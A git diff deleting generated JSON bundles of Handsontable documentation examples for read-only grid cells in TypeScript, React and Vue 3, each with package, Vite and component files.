a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json deleted file mode 100644 index 86d833cf..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example1.tsx.json deleted file mode 100644 index f86ffcab..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example1.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example2.tsx.json deleted file mode 100644 index 1960333b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getData()[row][col] === 'Nissan') {\n cellProperties.readOnly = true;\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example2.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example3.tsx.json deleted file mode 100644 index aca068a1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example3.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example4.tsx.json deleted file mode 100644 index c2189ea2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, _col, prop) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n cellProperties.editor = false;\n } else {\n cellProperties.editor = 'text';\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example4.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example5.tsx.json deleted file mode 100644 index f0cae60d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__example5.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example5.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json deleted file mode 100644 index 1126e89c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleReadOnlyGrid\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/exampleReadOnlyGrid.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example1.vue.json deleted file mode 100644 index 31b69317..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example1.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example2.vue.json deleted file mode 100644 index ed7c6f45..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example2.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example3.vue.json deleted file mode 100644 index 1e92c811..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example3.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example4.vue.json deleted file mode 100644 index 7998aad4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example4.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example5.vue.json deleted file mode 100644 index 34f481fd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example5.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json deleted file mode 100644 index 73382b77..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": 